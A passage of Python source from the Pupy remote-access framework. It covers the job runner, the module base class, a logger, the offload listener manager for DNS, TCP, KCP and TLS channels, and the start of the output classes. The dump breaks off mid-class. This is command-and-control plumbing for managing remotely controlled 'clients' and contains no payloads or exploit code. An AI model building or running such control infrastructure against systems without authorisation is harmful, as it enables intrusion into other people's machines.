# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import threading
import inspect
import ctypes
import logging

from .PupyErrors import PupyModuleError, PupyModuleExit
from .PupyConfig import PupyConfig
from .PupyOutput import Info, Warn
from .PupyTriggers import ON_JOB_EXIT, event

from pupy.network.lib.rpc import AsyncResultTimeout


#original code for interruptable threads from http://tomerfiliba.com/recipes/Thread2/
def _async_raise(tid, exctype):
    """raises the exception, performs cleanup if needed"""
    if not inspect.isclass(exctype):
        raise TypeError("Only types can be raised (not instances)")
    res = ctypes.pythonapi.PyThreadState_SetAsyncExc(ctypes.c_long(tid), ctypes.py_object(exctype))
    if res == 0:
        raise ValueError("invalid thread id")
    elif res != 1:
        # """if it returns a number greater than one, you're in trouble,
        # and you should call it again with exc=NULL to revert the effect"""
        ctypes.pythonapi.PyThreadState_SetAsyncExc(ctypes.c_long(tid), None)
        raise SystemError("PyThreadState_SetAsyncExc failed")

class Thread(threading.Thread):
    def _get_my_tid(self):
        """determines this (self's) thread id"""
        if not self.is_alive():
            raise threading.ThreadError("the thread is not active")

        # do we have it cached?
        if hasattr(self, "_thread_id"):
            return self._thread_id

        # no, look for it in the _active dict
        for tid, tobj in threading._active.items():
            if tobj is self:
                self._thread_id = tid
                return tid

        raise AssertionError("could not determine the thread's id")

    def raise_exc(self, exctype):
        """raises the given exception type in the context of this thread"""
        _async_raise(self._get_my_tid(), exctype)

    def stop(self):
        """raises SystemExit in the context of the given thread, which should
        cause the thread to exit silently (unless caught)"""
        self.raise_exc(KeyboardInterrupt)

class ThreadPool(object):
    def __init__(self):
        self.thread_pool = []
        self.interrupt = threading.Event()

    def apply_async(self, func, args):
        t = Thread(target=func, args=args)
        t.daemon = True
        self.thread_pool.append(t)
        t.start()

    def interrupt_all(self):
        self.interrupt.set()
        for t in self.thread_pool:
            if t.is_alive():
                t.stop()

    def interrupt(self):
        self.interrupt.set()

    def join(self, timeout=5, on_interrupt=None):
        allok = True

        while True:
            try:
                if self.interrupt.is_set():
                    allok = on_interrupt()
                    break

                allok = True
                for t in self.thread_pool:
                    if t.is_alive():
                        t.join(timeout)
                        allok = False

                if allok:
                    break

            except KeyboardInterrupt:
                self.interrupt.set()

        return allok

    def all_finished(self):
        for t in self.thread_pool:
            if t.is_alive():
                return False

        return True

class PupyJob(object):
    """ a job handle a group of modules """

    def __init__(self, pupsrv, module, name, args):
        self.name = name
        self.args = args
        self.pupsrv = pupsrv
        self.handler = pupsrv.handler
        self.config = pupsrv.config or PupyConfig()
        self.pupymodules = []
        self.worker_pool = ThreadPool()
        self.started = threading.Event()
        self.error = None
        self.jid = None
        self.destroyed = False
        self.id = None
        self.interrupted = False

    @property
    def module(self):
        return type(self.pupymodules[0])

    @property
    def clients(self):
        return [
            x.client for x in self.pupymodules
        ]

    def add_module(self, mod):
        self.pupymodules.append(mod)

    def stop(self):
        for p in self.pupymodules:
            p.stop_daemon()

        self.pupsrv.del_job(self.jid)
        self.interrupt()

    def module_worker(self, module, once):
        e = None

        try:
            module.import_dependencies()
            module.init(self.args)
            module.run(self.args)

        except PupyModuleExit as e:
            self.error = e
            return

        except PupyModuleError as e:
            self.error = e
            if not self.interrupted:
                module.error(e)

        except KeyboardInterrupt:
            pass

        except Exception as e:
            import logging
            logging.exception(e)

            self.error = e
            if not self.interrupted:
                module.error(e)

        finally:
            if not self.interrupted and once:
                module.clean_dependencies()

            module.closeio()

            if self.id is not None:
                kwargs = dict(module.client.desc)
                kwargs.update({
                    'jid': self.id,
                    'exception': e,
                    'interrupted': self.interrupted
                })

                event(ON_JOB_EXIT, module.client, self.pupsrv, **kwargs)

                if e:
                    self.pupsrv.info('<jid={}/cid={}> - error: {}'.format(self.id, module.client.id, e))
                elif self.interrupted:
                    self.pupsrv.info('<jid={}/cid={}> interrupted'.format(self.id, module.client.id))
                else:
                    self.pupsrv.info('<jid={}/cid={}> done'.format(self.id, module.client.id))

    def start(self, once=False):
        #if self.started.is_set():
        #    raise RuntimeError("job %s has already been started !"%str(self))

        for m in self.pupymodules:

            res = m.is_compatible()
            if type(res) is tuple:
                comp, comp_exp = res
            elif res is None:
                comp = True
                comp_exp = ""
            else:
                comp=res
                comp_exp = "reason not precised"

            if not comp:
                m.error("Compatibility error : %s"%comp_exp)
                continue

            self.worker_pool.apply_async(self.module_worker, (m, once))

        self.started.set()

    def interrupt(self):
        if not self.started:
            raise RuntimeError("can't interrupt. job %s has not been started"%str(self))

        if self.interrupted:
            return True

        self.interrupted = True
        supported = True

        #calling the interrupt method is one is defined for the module instead of killing the thread
        if hasattr(self.pupymodules[0], 'interrupt'):
            for m in self.pupymodules:
                try:
                    m.interrupt()
                except NotImplementedError:
                    supported = False
        else:
            supported = False

        if supported:
            self.handler.display(Info('Interrupt request sended'))
            return True

        else:
            self.pupsrv.info(
                Warn('Module does not support interrupts. Resources may leak!'))
            self.worker_pool.interrupt_all()
            self.check()
            return False

    def interactive_wait(self):
        self.worker_pool.join(on_interrupt=self.interrupt)

        if self.error:
            return True

        return False

    def check(self):
        for m in self.pupymodules:
            while True:
                if not m.client:
                    break

                try:
                    m.client.conn._conn.ping(timeout=2)
                    break

                except KeyboardInterrupt:
                    continue

                except (AsyncResultTimeout, ReferenceError, EOFError) as e:
                    logging.error('connection {} seems blocked ({}), reinitialising...'.format(
                        m.client.short_name(), e))

                    try:
                        m.client.conn._conn.close()
                    except (AsyncResultTimeout, ReferenceError, EOFError):
                        pass

                    break

    def is_finished(self):
        return self.worker_pool.all_finished()

    def free(self):
        if self.destroyed:
            return

        self.destroyed = True

        del self.pupymodules[:]
        del self.pupymodules

    def __len__(self):
        return len(self.pupymodules)

    def __str__(self):
        name = self.name
        if self.id:
            name = '{} (id={})'.format(name, self.id)
        return name


================================================
FILE: pupy/pupylib/PupyLogger.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import logging

logger = logging.getLogger('pupy')
def getLogger(name):
    return logger.getChild(name)


================================================
FILE: pupy/pupylib/PupyModule.py
================================================
# -*- coding: utf-8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors
# may be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
# THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import textwrap
import time
import os
import json
import struct
import math
import argparse
import sys

from io import open

from .PupyErrors import PupyModuleExit, PupyModuleUsageError
from .PupyCompleter import PupyModCompleter, void_completer, list_completer
from .PupyConfig import PupyConfig
from .PupyOutput import (
    Text, NewLine, Error, Warn, Success,
    Info, Table, TruncateToTerm
)

from pupy.pupylib.utils.term import (
    as_term_bytes, deep_as_bytes, remove_esc,
    DEFAULT_MULTIBYTE_CP
)

from pupy.pupylib import getLogger

from pupy.network.lib.compat import with_metaclass

if sys.version_info.major > 2:
    unicode = str
    basestring = str

    def json_string(x):
        if isinstance(x, bytes):
            x = x.decode(DEFAULT_MULTIBYTE_CP)

        return x
else:
    def json_string(x):
        if isinstance(x, unicode):
            x = x.encode(DEFAULT_MULTIBYTE_CP)

        return x


REQUIRE_NOTHING  = 0
REQUIRE_STREAM   = 1
REQUIRE_REPL     = 2
REQUIRE_TERMINAL = 3

QA_STABLE = 0
QA_UNSTABLE = 1
QA_DANGEROUS = 2

logger = getLogger('module')


class IgnoreModule(Exception):
    pass


class PupyArgumentParserWrap(object):
    def __init__(self, base, wrapped):
        self.base = base
        self.wrapped = wrapped

    def __call__(self, *args, **kwargs):
        self.wrapped.__call__(*args, **kwargs)

    def __getattr__(self, name):
        BASE = self.base
        original = getattr(self.wrapped, name)

        if name in ('add_argument_group', 'add_mutually_exclusive_group'):
            def add_group(*args, **kwargs):
                group = original(*args, **kwargs)
                return PupyArgumentParserWrap(BASE, group)

            return add_group

        elif name == 'add_argument':
            def add_argument(*args, **kwargs):
                if 'completer' in kwargs:
                    completer_func = kwargs.pop('completer')
                elif 'choices' in kwargs:
                    completer_func = list_completer(kwargs['choices'])
                else:
                    completer_func = void_completer

                result = original(*args, **kwargs)

                kwargs['completer'] = completer_func
                completer = BASE.get_completer()

                for a in args:
                    if a.startswith('-'):
                        completer.add_optional_arg(a, **kwargs)
                    else:
                        completer.add_positional_arg(a, **kwargs)

                return result

            return add_argument
        else:
            return original


class PupyArgumentParserRef(argparse._ActionsContainer):
    def add_argument(self, *args, **kwargs):
        completer_func = None

        if 'completer' in kwargs:
            completer_func = kwargs.pop('completer')
        elif 'choices' in kwargs:
            completer_func = list_completer(kwargs['choices'])
        else:
            completer_func = void_completer

        arg = super(PupyArgumentParserRef, self).add_argument(*args, **kwargs)

        kwargs['completer'] = completer_func
        completer = self.get_completer()

        for a in args:
            if a.startswith('-'):
                completer.add_optional_arg(a, **kwargs)
            else:
                completer.add_positional_arg(a, **kwargs)

        return arg

    def add_argument_group(self, *args, **kwargs):
        return PupyArgumentParserWrap(
            self,
            super(
                PupyArgumentParserRef, self
            ).add_argument_group(*args, **kwargs)
        )

    def add_mutually_exclusive_group(self, *args, **kwargs):
        return PupyArgumentParserWrap(
            self,
            super(
                PupyArgumentParserRef, self
            ).add_mutually_exclusive_group(*args, **kwargs)
        )

    def get_completer(self):
        if hasattr(self, 'pupy_mod_completer') and \
                self.pupy_mod_completer is not None:
            return self.pupy_mod_completer
        else:
            self.pupy_mod_completer = PupyModCompleter(self)
            return self.pupy_mod_completer


class PupyArgumentParser(argparse.ArgumentParser, PupyArgumentParserRef):
    def __init__(self, *args, **kwargs):
        if 'formatter_class' not in kwargs:
            kwargs['formatter_class'] = argparse.RawDescriptionHelpFormatter
        if 'description' in kwargs and kwargs['description']:
            kwargs['description'] = textwrap.dedent(kwargs['description'])

        argparse.ArgumentParser.__init__(self, *args, **kwargs)

    def exit(self, status=0, message=None):
        raise PupyModuleExit(message, status)

    def error(self, message):
        raise PupyModuleUsageError(self.prog, message, self.format_usage())


class Log(object):
    def __init__(
        self, out, log, consize, rec=None,
            command=None, title=None, unicode=False, stream=False):

        self.out = out
        self.log = log
        self.rec = None

        if rec in ('asciinema', 'asciinema1', 'ttyrec'):
            self.rec = rec

        self.last = 0
        self.start = 0
        self.unicode = unicode
        self.closed = False
        self.stream = stream
        self.is_stream = self.stream

        initial_payload = None

        if self.rec == 'asciinema1':
            height, width = consize

            initial_payload = '{{' \
                '"command":{},"title":{},"env":null,"version":1,' \
                '"width":{},"height":{},"stdout":['.format(
                    json.dumps(command), json.dumps(title),
                    width, height
                )

            self.start = time.time()
        if self.rec == 'asciinema':
            height, width = consize
            ts = time.time()

            initial_payload = json.dumps({
                'version': 2,
                'width': width,
                'height': height,
                'timestamp': ts,
                'title': title,
                'env': {
                    'SHELL': os.environ.get('SHELL'),
                    'TERM': os.environ.get('TERM'),
                }
            }) + '\n'
            self.last = self.start = ts
        elif self.rec == 'ttyrec':
            self.last = time.time()
        else:
            if command:
                initial_payload = '> ' + command + '\n'

        if initial_payload is not None:
            if not self.unicode and not isinstance(initial_payload, bytes):
                initial_payload = initial_payload.encode(DEFAULT_MULTIBYTE_CP)

            self.log.write(initial_payload)

    def write(self, data):
        if self.closed:
            return

        if not data:
            return

        self.out.write(data)

        data = as_term_bytes(data, width=32768)
        if not self.stream:
            data += b'\n'

        now = time.time()
        delay = (now - self.last) if self.last else 0
        duration = now - self.start
        self.last = now

        if self.rec == 'ttyrec':
            usec, sec = math.modf(now)
            usec = int(usec * 10**6)
            sec = int(sec)
            data = struct.pack('<III', sec, usec, len(data)) + data

        elif self.rec == 'asciinema':
            data = json.dumps([
                duration, 'o', json_string(data)
            ]) + '\n'

        elif self.rec == 'asciinema1':
            data = json.dumps([duration, json_string(data)])
            if delay:
                data = ',' + data

        else:
            data = remove_esc(data)

        if self.unicode and isinstance(data, bytes):
            data = data.decode(DEFAULT_MULTIBYTE_CP, errors='ignore')

        self.log.write(data)
        self.log.flush()

    def flush(self):
        if self.closed:
            return

        self.out.flush()
        self.log.flush()

    def close(self):
        if self.closed:
            return

        if self.rec == 'asciinema1':
            self.log.write('],"duration":{}}}'.format(
                time.time() - self.start
            ))

        self.log.close()
        self.closed = True

    def isatty(self):
        return self.out.isatty()

    def getvalue(self):
        value = self.out.getvalue()

        if not self.closed:
            self.log.flush()

        return value

    def fileno(self):
        return self.out.fileno()

    def truncate(self, size=0):
        if self.closed:
            return

        self.out.truncate(size)
        self.log.flush()

    def readline(self, size=None):
        return self.out.readline(size)

    def readlines(self, size=None):
        return self.out.readlines(size)

    def read(self, size=None):
        return self.out.read(size)


class PupyModuleMetaclass(type):
    def __init__(self, *args, **kwargs):
        super(PupyModuleMetaclass, self).__init__(*args, **kwargs)
        self.init_argparse()


class PupyModule(with_metaclass(PupyModuleMetaclass)):
    """
        This is the class all the pupy scripts must inherit from
        daemon_script -> script that will continue running in background once started
    """

    # QA - Safeness of the module
    qa = QA_STABLE

    # Interaction requirements
    io = REQUIRE_NOTHING

    # if your module is meant to run in background,
    # set this to True and override the stop_daemon method.
    daemon = False

    # if True, don't start a new module and use another instead
    unique_instance = False

    # dependencies to push on the remote target. same
    # as calling self.client.load_package
    dependencies = []

    # Should be aliased by default
    is_module = True

    # should be changed by decorator @config
    compatible_systems = []

    # to sort modules by categories. should be changed by decorator @config
    category = "general"

    # to add search keywords. should be changed by decorator @config
    tags = []

    # stream record
    rec = None

    known_args = False
    web_handlers = []

    def __init__(self, client, job, io, log=None):
        """ client must be a PupyClient instance """
        self.client = client
        self.job = job
        self.new_deps = []
        self.log_file = log
        self.iogroup = io
        self.stdin = io.stdin
        self.stdout = io.stdout

    @classmethod
    def init_argparse(cls):
        if cls.__name__ != 'PupyModule':
            raise NotImplementedError('init_argparse() must be implemented')

    @classmethod
    def parse(cls, cmdline):
        if cls.known_args:
            args, unknown_args = cls.arg_parser.parse_known_args(cmdline)
            args.unknown_args = unknown_args
            return args
        else:
            args = cls.arg_parser.parse_args(cmdline)

        args.original_cmdline = cmdline
        return args

    def init(self, args):
        self.iogroup.set_title(self)

        if self.client and (
                self.config.getboolean('pupyd', 'logs') or self.log_file):

            replacements = {
                '%c': self.client.short_name(),
                '%m': self.client.desc['macaddr'],
                '%M': self.get_name(),
                '%p': self.client.desc['platform'],
                '%a': self.client.desc['address'],
                '%h': self.client.desc['hostname'],
                '%u': self.client.desc['user'],
                '%t': time.time(),
            }

            if self.log_file:
                for k, v in replacements.items():
                    log = self.log_file.replace(k, str(v))
            else:
                log = self.config.get_file('logs', replacements)

            if self.rec == 'ttyrec':
                log = open(log, 'w+b')
                unicode = False
            else:
                log = open(log, 'w+')
                unicode = True

            self.stdout = Log(
                self.stdout,
                log,
                self.iogroup.consize,
                rec=self.rec,
                command=self.get_name() + ' ' + ' '.join(
                    args.original_cmdline
                ),
                unicode=unicode,
                stream=self.io != REQUIRE_NOTHING
            )

    @property
    def config(self):
        try:
            return self.job.pupsrv.config
        except:
            return PupyConfig()

    @classmethod
    def get_name(cls):
        return cls.__module__

    def import_dependencies(self):
        if type(self.dependencies) == dict:
            dependencies = self.dependencies.get(self.client.platform, []) + (
                self.dependencies.get('posix', [])
                if self.client.is_posix() else []
            ) + self.dependencies.get('all', [])
        else:
            dependencies = self.dependencies

        if self.client:
            self.client.load_package(dependencies, new_deps=self.new_deps)

    def clean_dependencies(self):
        for d in self.new_deps:
            try:
                self.client.unload_package(d)
            except Exception as e:
                logger.exception('Dependency unloading failed: %s', e)

    def start_webplugin(self):
        if not self.client.pupsrv.start_webserver():
            return None
        else:
            return self.client.pupsrv.pupweb.start_webplugin('rdesktop', self.web_handlers)

    @classmethod
    def is_compatible_with(cls, client):
        if 'all' in cls.compatible_systems or len(cls.compatible_systems) == 0:
            return True
        elif 'android' in cls.compatible_systems and client.is_android():
            return True
        elif 'windows' in cls.compatible_systems and client.is_windows():
            return True
        elif 'linux' in cls.compatible_systems and client.is_linux():
            return True
        elif 'solaris' in cls.compatible_systems and client.is_solaris():
            return True
        elif ('darwin' in cls.compatible_systems or 'osx' in cls.compatible_systems) and client.is_darwin():
            return True
        elif 'unix' in cls.compatible_systems and client.is_unix():
            return True
        elif 'posix'in cls.compatible_systems and client.is_posix():
            return True

        return False

    def is_compatible(self):
        """ override this method to define if the script is compatible with the givent client. The first value of the returned tuple is True if the module is compatible with the client and the second is a string explaining why in case of incompatibility"""
        if not self.is_compatible_with(self.client):
            return (False, 'This module currently only support the following systems: %s'%(
            ','.join(self.compatible_systems)))
        else:
            return True, ''

    def is_daemon(self):
        return self.daemon

    def stop_daemon(self):
        """ override this method to define how to stop your module if the module is a deamon or is launch as a job """
        pass

    def run(self, args):
        """
            the parameter args is an object as returned by the parse_args() method from argparse. You can define your arguments options in the init_argparse() method
            The run method does not return any argument. You can raise PupyModuleError in case of error
            NOTICE: DO NOT use print in this function, always use self.rawlog, self.log, self.error and self.warning instead
        """
        raise NotImplementedError("PupyModule's run method has not been implemented !")

    def encode(self, msg):
        if isinstance(msg, bytes):
            return msg.decode(DEFAULT_MULTIBYTE_CP, errors="replace")
        elif isinstance(msg, (Text, basestring)):
            return msg
        else:
            return deep_as_bytes(msg)

    def _message(self, msg):
        if self.io in (REQUIRE_REPL, REQUIRE_TERMINAL):
            msg = self.iogroup.as_bytes(msg)

        self.stdout.write(msg)

        if self.io != REQUIRE_NOTHING:
            self.stdout.write(self.iogroup.as_bytes(NewLine()))

    def rawlog(self, msg):
        """ log data to the module stdout """
        self._message(self.encode(msg))

    def log(self, msg):
        self._message(self.encode(msg))

    def error(self, msg, extended=False):
        self._message(self.encode(Error(msg)))

    def warning(self, msg):
        self._message(self.encode(Warn(msg)))

    def success(self, msg):
        self._message(self.encode(Success(msg)))

    def info(self, msg):
        self._message(self.encode(Info(msg)))

    def newline(self, lines=1):
        self._message(NewLine(lines))

    def table(
        self, data, header=None, caption=None,
            truncate=False, legend=True, vspace=0):

        data = Table(data, header, caption, legend, vspace)
        if truncate:
            data = TruncateToTerm(data)

        self._message(data)

    def closeio(self):
        if isinstance(self.stdout, Log):
            self.stdout.close()

        self.iogroup.close()


def config(**kwargs):
    for option in ['compat', 'compatibilities', 'compatibility', 'tags']:
        if option in kwargs:
            if type(kwargs[option]) != list:
                kwargs[option] = [kwargs[option]]

    def class_rebuilder(klass):
        klass.tags = kwargs.get('tags', klass.tags)
        klass.category = kwargs.get('category', kwargs.get('cat', klass.category))
        klass.compatible_systems = kwargs.get(
            'compatibilities',
            kwargs.get('compatibility',
                       kwargs.get('compat',klass.compatible_systems)))
        klass.daemon = kwargs.get('daemon', klass.daemon)

        return klass

    for k in kwargs:
        if k not in ['tags', 'category', 'cat', 'compatibilities', 'compatibility', 'compat', 'daemon']:
            logger.warning("Unknown argument \"%s\" to @config context manager"%k)

    return class_rebuilder


================================================
FILE: pupy/pupylib/PupyOffload.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import umsgpack
import threading
import socket
import struct
import logging
import time
import errno
import ssl

from pupy.network.lib import socks
from dnslib import QTYPE

if sys.version_info.major > 2:
    from urllib.parse import urlparse
else:
    from urlparse import urlparse

try:
    from . import getLogger
    logger = getLogger('pproxy')
except:
    logger = logging.getLogger('pproxy')

KCP_MTU = 1400 - (24 + 5)

COMMON_EXCEPTIONS = (
    errno.ECONNREFUSED, errno.ECONNRESET,
    errno.EPIPE, errno.EBADF,
    errno.ETIMEDOUT, errno.EHOSTUNREACH,
    errno.ENETUNREACH, errno.EHOSTDOWN
)

REQUEST_INFO = 0
REQUEST_DNS_LISTENER = 1
REQUEST_TCP_LISTENER = 2
REQUEST_KCP_LISTENER = 3
REQUEST_TLS_LISTENER = 4


class OffloadProxyCommonError(Exception):
    pass


class MsgPackMessages(object):
    def __init__(self, conn):
        self._conn = conn

    def recv(self):
        datalen_b = self._conn.recv(4)
        if datalen_b == '':
            raise EOFError

        datalen, = struct.unpack('>I', datalen_b)
        data = self._conn.recv(datalen)
        if data == '':
            raise EOFError

        return umsgpack.loads(data)

    def send(self, msg):
        data = umsgpack.dumps(msg)
        datalen = len(data)
        datalen_b = struct.pack('>I', datalen)
        self._conn.sendall(datalen_b + data)


class PupyOffloadDNS(threading.Thread):
    QTYPE = QTYPE.reverse

    def __init__(self, manager, handler, domain):
        threading.Thread.__init__(self)
        self.daemon = True
        self.active = True
        self.manager = manager
        self.handler = handler
        self.domain = domain
        self._conn = None

        self.cleaner = threading.Thread(target=handler.cleanup)
        self.cleaner.daemon = True

    def run(self):
        self.cleaner.start()

        while self.active:
            try:
                self._serve()

            except (socks.GeneralProxyError, EOFError):
                logger.error('DNS: Lost connection (EOF)')
                time.sleep(1)
                continue

            except (socket.error, OSError) as e:
                if e.errno in COMMON_EXCEPTIONS:
                    logger.error('DNS: Lost connection (refused)')
                    time.sleep(5)
                    continue

                logger.exception('DNS: Network: %s', e)
                self.active = False

            except Exception as e:
                logger.exception('DNS: %s', e)
                self.active = False

    def _serve(self):
        self._conn = self.manager.request(REQUEST_DNS_LISTENER, self.domain)
        conn = MsgPackMessages(self._conn)
        while self.active:
            request = conn.recv()
            if not request:
                logger.warning('DNS: Recieved empty request. Shutdown')
                self.stop()
                break

            now = time.time()

            qtype, qname = request.split(':', 1)
            qtype = PupyOffloadDNS.QTYPE[qtype]

            response = self.handler.process(qtype, qname)
            if not response:
                response = []

            used = time.time() - now

            if used > 1:
                logger.warning('DNS: Slow processing speed (%s)s', used)

            conn.send(response)

    def stop(self):
        self.active = False

        if self._conn:
            self._conn.close()
            self._conn = None

        if self.handler:
            self.handler.finished.set()


class PupyOffloadSocket(object):
    def __init__(self, sock, lhost, lport, rhost, rport):
        self._sock = sock
        self._laddr = (lhost, lport)
        self._raddr = (rhost, rport)

    def getsockname(self):
        return self._laddr

    def getpeername(self):
        return self._raddr

    def __getattr__(self, attr):
        if attr in self.__dict__:
            return getattr(self, attr)
        return getattr(self._sock, attr)


class PupyOffloadAcceptor(object):
    def __init__(self, manager, proto, port=None, extra={}, mtu=0):
        self._manager = manager
        self._proto = proto
        self._host = None
        self._port = port
        self._conn = None
        self._extra = extra
        self._mtu = mtu
        self.active = True

    def bind(self, addr):
        self._host, self._port = addr

    def listen(self, cnt):
        pass

    def settimeout(self, **args):
        pass

    def shutdown(self, arg):
        self.close()

    def close(self, **args):
        self.active = False
        if self._conn:
            self._conn.close()
            self._conn = None

    def accept(self):
        while self.active:
            try:
                self._conn = self._manager.request(
                    self._proto, self._port, mtu=self._mtu
                )

                m = MsgPackMessages(self._conn)

                while True:
                    message = m.recv()
                    if message.get('keepalive', None):
                        logger.debug('KeepAlive: %s', message['keepalive'])
                        m.send(message)
                        continue
                    elif message.get('extra', None):
                        data = self._extra[message['data']]
                        m.send(data)
                        continue

                    logger.debug('Send last keepalive')
                    m.send({
                        'keepalive': int(time.time()),
                        'last': True
                    })
                    break

                conninfo = message

                return PupyOffloadSocket(
                    self._conn,
                    conninfo['lhost'], conninfo['lport'],
                    conninfo['rhost'], conninfo['rport']
                ), (conninfo['rhost'], conninfo['rport'])

            except (socks.GeneralProxyError, socket.error, OSError) as e:
                if e.errno in COMMON_EXCEPTIONS:
                    logger.error('Acceptor (%s): Lost connection (refused)', self._port)
                    time.sleep(5)
                    continue
                else:
                    raise

            except (EOFError, ssl.SSLEOFError):
                logger.error('Acceptor (%s): Lost connection (EOF)', self._port)
                time.sleep(1)
                continue

            except Exception as e:
                logger.exception('Acceptor (%s): Exception: %s', self._port, e)
                raise

        raise EOFError('Socket closed')


class PupyOffloadManager(object):
    def __init__(self, server, ca, key, crt, via):
        if ':' in server:
            if server.startswith('['):
                ipv6_end = server.index(']')
                host = server[1:ipv6_end]
                rest = server[ipv6_end:]
                if ':' in rest:
                    _, port = rest.rsplit(':', 1)
                else:
                    raise OffloadProxyCommonError('Invalid server specification')
            else:
                host, port = server.rsplit(':', 1)

            self._server = (host, int(port))

        elif len(server) == 2:
            self._server = server
        else:
            raise OffloadProxyCommonError('Invalid server specification')

        self._ca = ca
        self._key = key
        self._crt = crt
        self._external_ip = None
        self._ctx = ssl.create_default_context(
            purpose=ssl.Purpose.CLIENT_AUTH,
            cafile=self._ca
        )
        self._ctx.load_cert_chain(self._crt, self._key)
        self._ctx.set_alpn_protocols(['pp/1'])

        if via:
            if '://' not in via:
                raise OffloadProxyCommonError('Proxy argument should be in URI form')
            self._via = urlparse(via)
        else:
            self._via = None

        c = self.request(REQUEST_INFO)

        try:
            m = MsgPackMessages(c)
            self._external_ip = m.recv()['ip']

        except Exception as e:
            logger.exception('Communication failed: %s', e)
            raise

        finally:
            c.close()

    def dns(self, handler, domain):
        return PupyOffloadDNS(self, handler, domain)

    def tcp(self, port, extra={}):
        return PupyOffloadAcceptor(self, REQUEST_TCP_LISTENER, port, extra)

    def kcp(self, port, extra={}):
        return PupyOffloadAcceptor(
            self, REQUEST_KCP_LISTENER, port, extra, KCP_MTU
        )

    def ssl(self, port, extra={}):
        return PupyOffloadAcceptor(self, REQUEST_TLS_LISTENER, port, extra)

    @property
    def external(self):
        return self._external_ip

    def request(self, conntype, bind='', timeout=0, mtu=0):
        if self._via:
            proxy = self._via.scheme.upper()
            if proxy == 'SOCKS':
                proxy = 'SOCKS5'

            default_ports = {
                'SOCKS5': 1080,
                'SOCKS4': 1080,
                'HTTP': 3128,
            }

            proxy_type = socks.PROXY_TYPES.get(proxy, 'SOCKS5')
            proxy_addr = self._via.hostname
            proxy_port = self._via.port or default_ports.get(proxy)
            proxy_username = self._via.username or None
            proxy_password = self._via.password or None

            c = socks.create_connection(
                self._server,
                proxy_type, proxy_addr, proxy_port,
                True, proxy_username, proxy_password)
        else:
            c = socket.create_connection(self._server)

        c.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
        c.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)

        if all([hasattr(socket, x) for x in ('TCP_KEEPIDLE', 'TCP_KEEPINTVL', 'TCP_KEEPCNT')]):
            c.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 1 * 60)
            c.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 3  * 60)
            c.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 5)

        try:
            c = self._ctx.wrap_socket(c)
        except (socks.GeneralProxyError, EOFError, ssl.SSLError, socket.error):
            raise EOFError('Failure during communication with offload server')

        m = MsgPackMessages(c)
        m.send({
            'prot': conntype,
            'bind': str(bind),
            'timeout': timeout,
            'mtu': mtu
        })
        return c


================================================
FILE: pupy/pupylib/PupyOutput.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals


class Hint(object):
    __slots__ = ()


class Text(Hint):
    __slots__ = ('data')

    def __init__(self, data):
        self.data = data

    def __repr__(self):
        return '<Hint({}): {}>'.format(
            self.__class__.__name__,
            repr(self.data))

    def __str__(self):
        raise NotImplementedError(
            '__str__ is not implemented for class {}'.format(
                self.__class__.__name__))


class Hex(Text):
    __slots__ = ('colorize')

    def __init__(self, data, colorize=False):
        super(Hex, self).__init__(data)
        self.colorize = colorize


class Table(Text):
